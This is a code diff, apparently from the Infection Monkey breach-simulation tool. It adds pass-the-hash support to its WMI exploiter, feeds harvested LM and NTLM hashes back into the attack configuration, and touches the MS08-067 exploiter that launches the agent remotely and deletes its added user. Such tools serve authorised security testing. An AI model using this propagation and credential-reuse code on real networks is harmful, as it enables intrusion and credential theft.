||||||
|
|
||||||
|
@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
build_monkey_commandline(host, depth - 1)
|
build_monkey_commandline(host, depth - 1)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline, ))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
|
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
||||||
return False
|
return False
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
sock.close()
|
sock.close()
|
||||||
except:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
|
|
|
@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
for user, password in user_password_pairs:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, password)
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
wmi_connection = WmiTools.WmiConnection()
|
wmi_connection = WmiTools.WmiConnection()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
wmi_connection.connect(host,
|
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
|
||||||
user,
|
|
||||||
password)
|
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
host, user, password)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except DCERPCException, exc:
|
except DCERPCException as exc:
|
||||||
report_failed_login(self, host, user, password)
|
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
host, user, password)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except socket.error, exc:
|
except socket.error as exc:
|
||||||
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
|
LOG.debug("Network error in WMI connection to %r with "
|
||||||
host, user, password, exc)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
|
LOG.debug("Unknown WMI connection error to %r with "
|
||||||
host, user, password, exc, traceback.format_exc())
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||||
|
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
host.learn_credentials(user, password)
|
host.learn_credentials(user, password)
|
||||||
|
@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
user,
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
user,
|
||||||
|
password,
|
||||||
|
lm_hash,
|
||||||
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout)
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
|
|
|
@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
|
||||||
ConfigService.creds_add_username(user)
|
ConfigService.creds_add_username(user)
|
||||||
if 'password' in creds[user]:
|
if 'password' in creds[user]:
|
||||||
ConfigService.creds_add_password(creds[user]['password'])
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
|
if 'lm_hash' in creds[user]:
|
||||||
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
|
if 'ntlm_hash' in creds[user]:
|
||||||
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -423,6 +423,32 @@ SCHEMA = {
|
||||||
"description": "The fullpath of the monkey log file on Windows"
|
"description": "The fullpath of the monkey log file on Windows"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"exploits": {
|
||||||
|
"title": "Exploits",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_lm_hash_list": {
|
||||||
|
"title": "Exploit LM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of LM hashes to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_ntlm_hash_list": {
|
||||||
|
"title": "Exploit NTLM hash list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [],
|
||||||
|
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -818,20 +844,34 @@ class ConfigService:
|
||||||
return SCHEMA
|
return SCHEMA
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def creds_add_username(username):
|
def add_item_to_config_set(item_key, item_value):
|
||||||
mongo.db.config.update(
|
mongo.db.config.update(
|
||||||
{'name': 'newconfig'},
|
{'name': 'newconfig'},
|
||||||
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
|
{'$addToSet': {item_key: item_value}},
|
||||||
upsert=False
|
upsert=False
|
||||||
)
|
)
|
||||||
|
|
||||||
|
mongo.db.monkey.update(
|
||||||
|
{},
|
||||||
|
{'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
|
||||||
|
multi=True
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def creds_add_username(username):
|
||||||
|
ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def creds_add_password(password):
|
def creds_add_password(password):
|
||||||
mongo.db.config.update(
|
ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
|
||||||
{'name': 'newconfig'},
|
|
||||||
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
|
@staticmethod
|
||||||
upsert=False
|
def creds_add_lm_hash(lm_hash):
|
||||||
)
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def creds_add_ntlm_hash(ntlm_hash):
|
||||||
|
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json):
|
def update_config(config_json):
|
||||||
|
|
Loading…
Reference in New Issue